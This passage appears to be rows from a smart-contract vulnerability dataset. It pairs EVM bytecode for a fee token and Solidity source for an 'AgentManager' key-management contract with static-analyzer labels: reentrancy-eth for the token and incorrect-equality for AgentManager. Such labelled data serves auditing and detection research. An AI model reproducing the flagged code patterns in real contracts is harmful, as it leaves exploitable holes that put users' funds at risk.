0a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612232919061300b565b60405180910390fd5b506000838561224a9190613b3d565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613be3565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7612d99565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d6134b2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190613c18565b8160018151811061252c5761252b6134b2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f7959493929190613d3e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613162565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a919061300b565b60405180910390fd5b50600083856129629190613dc7565b9050809150509392505050565b60008060006006549050600067016345785d8a000090506129a367016345785d8a000060065461267590919063ffffffff16565b8210156129c15760065467016345785d8a00009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f9190613a55565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb90613e44565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613e64565b9050828482612d249190613dc7565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b90613f30565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612dd182612d88565b810181811067ffffffffffffffff82111715612df057612def612d99565b5b80604052505050565b6000612e03612d6f565b9050612e0f8282612dc8565b919050565b600067ffffffffffffffff821115612e2f57612e2e612d99565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e7082612e45565b9050919050565b612e8081612e65565b8114612e8b57600080fd5b50565b600081359050612e9d81612e77565b92915050565b6000612eb6612eb184612e14565b612df9565b90508083825260208201905060208402830185811115612ed957612ed8612e40565b5b835b81811015612f025780612eee8882612e8e565b845260208401935050602081019050612edb565b5050509392505050565b600082601f830112612f2157612f20612d83565b5b8135612f31848260208601612ea3565b91505092915050565b600060208284031215612f5057612f4f612d79565b5b600082013567ffffffffffffffff811115612f6e57612f6d612d7e565b5b612f7a84828501612f0c565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612fbd578082015181840152602081019050612fa2565b83811115612fcc576000848401525b50505050565b6000612fdd82612f83565b612fe78185612f8e565b9350612ff7818560208601612f9f565b61300081612d88565b840191505092915050565b600060208201905081810360008301526130258184612fd2565b905092915050565b6000819050919050565b6130408161302d565b811461304b57600080fd5b50565b60008135905061305d81613037565b92915050565b6000806040838503121561307a57613079612d79565b5b600061308885828601612e8e565b92505060206130998582860161304e565b9150509250929050565b60008115159050919050565b6130b8816130a3565b82525050565b60006020820190506130d360008301846130af565b92915050565b6000819050919050565b60006130fe6130f96130f484612e45565b6130d9565b612e45565b9050919050565b6000613110826130e3565b9050919050565b600061312282613105565b9050919050565b61313281613117565b82525050565b600060208201905061314d6000830184613129565b92915050565b61315c8161302d565b82525050565b60006020820190506131776000830184613153565b92915050565b60008060006060848603121561319657613195612d79565b5b60006131a486828701612e8e565b93505060206131b586828701612e8e565b92505060406131c68682870161304e565b9150509250925092565b600060ff82169050919050565b6131e6816131d0565b82525050565b600060208201905061320160008301846131dd565b92915050565b61321081612e65565b82525050565b600060208201905061322b6000830184613207565b92915050565b60006020828403121561324757613246612d79565b5b600061325584828501612e8e565b91505092915050565b613267816130a3565b811461327257600080fd5b50565b6000813590506132848161325e565b92915050565b6000602082840312156132a05761329f612d79565b5b60006132ae84828501613275565b91505092915050565b6000602082840312156132cd576132cc612d79565b5b60006132db8482850161304e565b91505092915050565b600080600080608085870312156132fe576132fd612d79565b5b600061330c8782880161304e565b945050602061331d8782880161304e565b935050604061332e8782880161304e565b925050606061333f8782880161304e565b91505092959194509250565b600080fd5b60008083601f84011261336657613365612d83565b5b8235905067ffffffffffffffff8111156133835761338261334b565b5b60208301915083602082028301111561339f5761339e612e40565b5b9250929050565b6000806000604084860312156133bf576133be612d79565b5b600084013567ffffffffffffffff8111156133dd576133dc612d7e565b5b6133e986828701613350565b935093505060206133fc86828701613275565b9150509250925092565b6000806040838503121561341d5761341c612d79565b5b600061342b85828601612e8e565b925050602061343c85828601612e8e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061347c602083612f8e565b915061348782613446565b602082019050919050565b600060208201905081810360008301526134ab8161346f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061351b8261302d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561354e5761354d6134e1565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006135b5602683612f8e565b91506135c082613559565b604082019050919050565b600060208201905081810360008301526135e4816135a8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613647602483612f8e565b9150613652826135eb565b604082019050919050565b600060208201905081810360008301526136768161363a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136d9602283612f8e565b91506136e48261367d565b604082019050919050565b60006020820190508181036000830152613708816136cc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061376b602583612f8e565b91506137768261370f565b604082019050919050565b6000602082019050818103600083015261379a8161375e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006137fd602383612f8e565b9150613808826137a1565b604082019050919050565b6000602082019050818103600083015261382c816137f0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061388f602983612f8e565b915061389a82613833565b604082019050919050565b600060208201905081810360008301526138be81613882565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613921603f83612f8e565b915061392c826138c5565b604082019050919050565b6000602082019050818103600083015261395081613914565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061398d601c83612f8e565b915061399882613957565b602082019050919050565b600060208201905081810360008301526139bc81613980565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613a1f602383612f8e565b9150613a2a826139c3565b604082019050919050565b60006020820190508181036000830152613a4e81613a12565b9050919050565b6000613a608261302d565b9150613a6b8361302d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613aa057613a9f6134e1565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b07602383612f8e565b9150613b1282613aab565b604082019050919050565b60006020820190508181036000830152613b3681613afa565b9050919050565b6000613b488261302d565b9150613b538361302d565b925082821015613b6657613b656134e1565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613bcd602a83612f8e565b9150613bd882613b71565b604082019050919050565b60006020820190508181036000830152613bfc81613bc0565b9050919050565b600081519050613c1281612e77565b92915050565b600060208284031215613c2e57613c2d612d79565b5b6000613c3c84828501613c03565b91505092915050565b6000819050919050565b6000613c6a613c65613c6084613c45565b6130d9565b61302d565b9050919050565b613c7a81613c4f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613cb581612e65565b82525050565b6000613cc78383613cac565b60208301905092915050565b6000602082019050919050565b6000613ceb82613c80565b613cf58185613c8b565b9350613d0083613c9c565b8060005b83811015613d31578151613d188882613cbb565b9750613d2383613cd3565b925050600181019050613d04565b5085935050505092915050565b600060a082019050613d536000830188613153565b613d606020830187613c71565b8181036040830152613d728186613ce0565b9050613d816060830185613207565b613d8e6080830184613153565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613dd28261302d565b9150613ddd8361302d565b925082613ded57613dec613d98565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613e2e601b83612f8e565b9150613e3982613df8565b602082019050919050565b60006020820190508181036000830152613e5d81613e21565b9050919050565b6000613e6f8261302d565b9150613e7a8361302d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613eb357613eb26134e1565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f1a602183612f8e565b9150613f2582613ebe565b604082019050919050565b60006020820190508181036000830152613f4981613f0d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5866eff8d48a2433e365ff6483db5d6a1bdc25694438ce2536f9eb2c215340264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 898 |
0xb6648573eb54e079fC0709835A97979B4A37583F | // SPDX-License-Identifier: NONE
pragma solidity 0.7.6;
// Part: Context
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: IAgentManager
interface IAgentManager {
event userAgentRegistered(address indexed user, string indexed agentId);
event agentUpdated(
string indexed agentId,
address indexed _coldAddress,
address indexed _hotAddress
);
function registerAgentForUser(
string calldata agentId,
address _coldAddress,
address _hotAddress
) external returns (bool);
function updateAgentColdAddress(
string calldata agentId,
address _coldAddress
) external returns (bool);
function updateAgentHotAddress(string calldata agentId, address _hotAddress)
external
returns (bool);
function verifyAgentAddress(
string calldata agentId,
address senderAddress,
address userAddress
) external view returns (bool);
function userAgents(address userAddress, string calldata agentId)
external
view
returns (bool);
function HOT_ADDRESS_BLOCK_LIFE() external view returns (uint256);
function PREVIOUS_HOT_ADDRESS_BLOCK_LIFE() external view returns (uint256);
function getAgent(string calldata agentId)
external
view
returns (
address,
address,
address,
uint256
);
}
// Part: Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: AgentManager.sol
/**
* @title Agent manager
* @notice This contract is responsible for managing one to many user agents
* and also verifies if an agent is authorized to transact on behalf of a user
* @dev Can be used as a standalone in multiple agent management systems
*/
contract AgentManager is IAgentManager, Ownable {
mapping(address => mapping(string => bool)) public override userAgents;
struct AgentKeys {
address coldAddress;
address hotAddress;
address previousHotAddress;
uint256 lastUpdatedBlock;
}
mapping(string => AgentKeys) private agents;
uint256 public override PREVIOUS_HOT_ADDRESS_BLOCK_LIFE;
uint256 public override HOT_ADDRESS_BLOCK_LIFE;
/**
* @param _previousHotAddressBlocks: the value to set for PREVIOUS_HOT_ADDRESS_BLOCK_LIFE
* which signifies the number of blocks after which the previous hot address for the agent
* becomes invalid after updating the hot address
* @param _hotAddressBlocks: the value to set for HOT_ADDRESS_BLOCK_LIFE which signifies
* the number of blocks after which a current hot address of an agent becomes invalid
*/
constructor(uint256 _previousHotAddressBlocks, uint256 _hotAddressBlocks) {
PREVIOUS_HOT_ADDRESS_BLOCK_LIFE = _previousHotAddressBlocks;
HOT_ADDRESS_BLOCK_LIFE = _hotAddressBlocks;
}
/**
* @notice Registers an agent corresponding to the message sender (user)
* @param agentId: unique id of the agent to register
* @param _coldAddress: cold address of the agent
* @param _hotAddress: Initial hot address of the agent
*/
function registerAgentForUser(
string calldata agentId,
address _coldAddress,
address _hotAddress
) external override returns (bool) {
require(
!userAgents[msg.sender][agentId],
"Agent id already registered for this user"
);
// Checks the mapping to ensure the agentId is not already registered
require(
agents[agentId].coldAddress == address(0),
"AgentId already registered for another user"
);
require(
_coldAddress != address(0) && _hotAddress != address(0),
"Addresses can't be zero address"
);
agents[agentId] = AgentKeys({
coldAddress: _coldAddress,
hotAddress: _hotAddress,
previousHotAddress: address(0),
lastUpdatedBlock: block.number
});
emit agentUpdated(agentId, _coldAddress, _hotAddress);
userAgents[msg.sender][agentId] = true;
emit userAgentRegistered(msg.sender, agentId);
return true;
}
/**
* @notice Verifies if an agentId is authorised to transact on behalf of a userAddress
* @dev Internal function. Can only be called by inheriting contracts
* @param agentId: unique id of the agent
* @param senderAddress: address of the sender (agent in this case)
* @param userAddress: address of the user to authorise for
*/
function verifyAgentAddress(
string calldata agentId,
address senderAddress,
address userAddress
) external view override returns (bool) {
AgentKeys memory keys = agents[agentId];
if (keys.hotAddress == senderAddress) {
if (HOT_ADDRESS_BLOCK_LIFE == 0) {
return userAgents[userAddress][agentId];
}
return
(block.number <=
keys.lastUpdatedBlock + HOT_ADDRESS_BLOCK_LIFE) &&
userAgents[userAddress][agentId];
}
if (keys.previousHotAddress == senderAddress) {
return
(block.number <=
keys.lastUpdatedBlock + PREVIOUS_HOT_ADDRESS_BLOCK_LIFE) &&
userAgents[userAddress][agentId];
}
return keys.coldAddress == senderAddress;
}
/**
* @notice Updates agent cold address, sender needs to be the previous cold address itself
* @param agentId: unique id of the agent
* @param _coldAddress: new cold address to set
*/
function updateAgentColdAddress(
string calldata agentId,
address _coldAddress
) external override returns (bool) {
require(
msg.sender == agents[agentId].coldAddress &&
_coldAddress != address(0),
"Cold address can't be updated"
);
agents[agentId].coldAddress = _coldAddress;
emit agentUpdated(agentId, _coldAddress, agents[agentId].hotAddress);
return true;
}
/**
* @notice Updates agent hot address, sender needs to be the cold address or previous hot address
* @param agentId: unique id of the agent
* @param _hotAddress: new hot address to set
*/
function updateAgentHotAddress(string calldata agentId, address _hotAddress)
external
override
returns (bool)
{
require(
_hotAddress != address(0) &&
(msg.sender == agents[agentId].coldAddress ||
msg.sender == agents[agentId].hotAddress),
"Hot address can't be updated"
);
agents[agentId].previousHotAddress = agents[agentId].hotAddress;
agents[agentId].hotAddress = _hotAddress;
agents[agentId].lastUpdatedBlock = block.number;
emit agentUpdated(agentId, agents[agentId].coldAddress, _hotAddress);
return true;
}
/**
* @notice Updates PREVIOUS_HOT_ADDRESS_BLOCK_LIFE, can only be called by owner of the contract
* @param newBlockDifference: new value for PREVIOUS_HOT_ADDRESS_BLOCK_LIFE
*/
function updatePreviousHotAddressBlockDifference(uint256 newBlockDifference)
external
onlyOwner
{
PREVIOUS_HOT_ADDRESS_BLOCK_LIFE = newBlockDifference;
}
/**
* @notice Updates HOT_ADDRESS_BLOCK_LIFE, can only be called by owner of the contract
* @param newBlockDifference: new value for HOT_ADDRESS_BLOCK_LIFE
*/
function updateHotAddressBlockDifference(uint256 newBlockDifference)
external
onlyOwner
{
HOT_ADDRESS_BLOCK_LIFE = newBlockDifference;
}
/**
* @notice Get agent addresses and details
* @param agentId: agentId of the agent
*/
function getAgent(string calldata agentId)
external
view
override
returns (
address coldAddress,
address hotAddress,
address previousHotAddress,
uint256 lastUpdatedBlock
)
{
coldAddress = agents[agentId].coldAddress;
hotAddress = agents[agentId].hotAddress;
previousHotAddress = agents[agentId].previousHotAddress;
lastUpdatedBlock = agents[agentId].lastUpdatedBlock;
}
}
| 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d44eb41161008c578063e4040e6611610066578063e4040e661461032e578063e5437255146103e2578063f2fde38b14610461578063fb72286e14610487576100ea565b806395d44eb4146102ef578063d10ea8e814610309578063de1bc7ab14610311576100ea565b8063794464e9116100c8578063794464e9146101a95780638066fb9c1461024c5780638da5cb5b146102c35780638f32d59b146102e7576100ea565b80634000da9f146100ef5780634e18b0ae14610182578063715018a6146101a1575b600080fd5b61016e6004803603606081101561010557600080fd5b810190602081018135600160201b81111561011f57600080fd5b82018360208201111561013157600080fd5b803590602001918460018302840111600160201b8311171561015257600080fd5b91935091506001600160a01b03813581169160200135166104fe565b604080519115158252519081900360200190f35b61019f6004803603602081101561019857600080fd5b503561080e565b005b61019f61085a565b610217600480360360208110156101bf57600080fd5b810190602081018135600160201b8111156101d957600080fd5b8201836020820111156101eb57600080fd5b803590602001918460018302840111600160201b8311171561020c57600080fd5b5090925090506108eb565b604080516001600160a01b03958616815293851660208501529190931682820152606082019290925290519081900360800190f35b61016e6004803603604081101561026257600080fd5b810190602081018135600160201b81111561027c57600080fd5b82018360208201111561028e57600080fd5b803590602001918460018302840111600160201b831117156102af57600080fd5b9193509150356001600160a01b03166109bf565b6102cb610c19565b604080516001600160a01b039092168252519081900360200190f35b61016e610c28565b6102f7610c4c565b60408051918252519081900360200190f35b6102f7610c52565b61019f6004803603602081101561032757600080fd5b5035610c58565b61016e6004803603604081101561034457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561036e57600080fd5b82018360208201111561038057600080fd5b803590602001918460018302840111600160201b831117156103a157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ca4945050505050565b61016e600480360360608110156103f857600080fd5b810190602081018135600160201b81111561041257600080fd5b82018360208201111561042457600080fd5b803590602001918460018302840111600160201b8311171561044557600080fd5b91935091506001600160a01b0381358116916020013516610cd5565b61019f6004803603602081101561047757600080fd5b50356001600160a01b0316610e90565b61016e6004803603604081101561049d57600080fd5b810190602081018135600160201b8111156104b757600080fd5b8201836020820111156104c957600080fd5b803590602001918460018302840111600160201b831117156104ea57600080fd5b9193509150356001600160a01b0316610ee3565b3360009081526001602052604080822090518690869080838380828437919091019485525050604051928390036020019092205460ff1615915061057590505760405162461bcd60e51b81526004018080602001828103825260298152602001806111146029913960400191505060405180910390fd5b60006001600160a01b0316600286866040518083838082843791909101948552505060405192839003602001909220546001600160a01b03169290921491506105f190505760405162461bcd60e51b815260040180806020018281038252602b81526020018061115d602b913960400191505060405180910390fd5b6001600160a01b0383161580159061061157506001600160a01b03821615155b610662576040805162461bcd60e51b815260206004820152601f60248201527f4164647265737365732063616e2774206265207a65726f206164647265737300604482015290519081900360640190fd5b6040518060800160405280846001600160a01b03168152602001836001600160a01b0316815260200160006001600160a01b031681526020014381525060028686604051808383808284379190910194855250506040805160209481900385018120865181546001600160a01b03199081166001600160a01b0392831617835596880151600183018054891691831691909117905592870151600282018054909716908416179095556060909501516003909401939093555050838116919085169087908790808383808284376040519201829003822094507f97fd83a31100ab9f90a897ef7ece952db79315de38927970332d0d2e93fc20e993506000925050a46001806000336001600160a01b03166001600160a01b03168152602001908152602001600020868660405180838380828437919091019485525050604051928390036020018320805494151560ff1990951694909417909355508691508590808383808284376040519201829003822094503393507f7ecac8106c1cbe9693f0a25fc527cee515f98eb5057440cdcd497a3f894e5ab692506000919050a35060015b949350505050565b610816610c28565b610855576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b600455565b610862610c28565b6108a1576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000806000806002868660405180838380828437919091019485525050604051928390036020018320546001600160a01b0316965060029289925088915080838380828437919091019485525050604051928390036020018320600101546001600160a01b03169550600292899250889150808383808284379190910194855250506040519283900360200183206002908101546001600160a01b03169550928992508891508083838082843791909101948552505060405192839003602001909220600301549598949750929550505050565b60006001600160a01b03821615801590610a49575060028484604051808383808284379190910194855250506040519283900360200190922054336001600160a01b03909116149150819050610a49575060028484604051808383808284379190910194855250506040519283900360200190922060010154336001600160a01b03909116149150505b610a9a576040805162461bcd60e51b815260206004820152601c60248201527f486f7420616464726573732063616e2774206265207570646174656400000000604482015290519081900360640190fd5b6002848460405180838380828437919091019485525050604051928390036020018320600101546001600160a01b031692600292508791508690808383808284378083019250505092505050908152602001604051809103902060020160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555081600285856040518083838082843791909101948552505060405192839003602001832060010180546001600160a01b03959095166001600160a01b0319909516949094179093555043915060029086908690808383808284378083019250505092505050908152602001604051809103902060030181905550816001600160a01b03166002858560405180838380828437919091019485525050604051928390036020018320546001600160a01b031692889250879150808383808284376040519201829003822094507f97fd83a31100ab9f90a897ef7ece952db79315de38927970332d0d2e93fc20e993506000925050a45060019392505050565b6000546001600160a01b031690565b600080546001600160a01b0316610c3d611049565b6001600160a01b031614905090565b60045481565b60035481565b610c60610c28565b610c9f576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b600355565b6001602090815260009283526040909220815180830184018051928152908401929093019190912091525460ff1681565b6000806002868660405180838380828437919091019485525050604080516020948190038501812060808201835280546001600160a01b03908116835260018201548116968301879052600282015481169383019390935260030154606082015294508716909214159150610df9905057600454610d99576001600160a01b0383166000908152600160205260409081902090518790879080838380828437919091019485525050604051928390036020019092205460ff16935061080692505050565b6004548160600151014311158015610df157506001600160a01b0383166000908152600160205260409081902090518790879080838380828437919091019485525050604051928390036020019092205460ff169150505b915050610806565b836001600160a01b031681604001516001600160a01b03161415610e76576003548160600151014311158015610df157506001600160a01b0383166000908152600160205260409081902090518790879080838380828437919091019485525050604051928390036020019092205460ff16915050915050610806565b516001600160a01b03908116908416149050949350505050565b610e98610c28565b610ed7576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b610ee08161104d565b50565b600060028484604051808383808284379190910194855250506040519283900360200190922054336001600160a01b03909116149150508015610f2e57506001600160a01b03821615155b610f7f576040805162461bcd60e51b815260206004820152601d60248201527f436f6c6420616464726573732063616e27742062652075706461746564000000604482015290519081900360640190fd5b81600285856040518083838082843791909101948552505060405192839003602001832080546001600160a01b03959095166001600160a01b03199095169490941790935550600291508590859080838380828437919091019485525050604051928390036020018320600101546001600160a01b039081169390861692508791508690808383808284376040519201829003822094507f97fd83a31100ab9f90a897ef7ece952db79315de38927970332d0d2e93fc20e993506000925050a45060019392505050565b3390565b6001600160a01b0381166110925760405162461bcd60e51b81526004018080602001828103825260268152602001806110ee6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734167656e7420696420616c7265616479207265676973746572656420666f72207468697320757365724f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724167656e74496420616c7265616479207265676973746572656420666f7220616e6f746865722075736572a2646970667358221220448b2c5d836d8183f518b9d159872f8dbb5800f89644bdcc95a425c9d8eb21b964736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 899 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.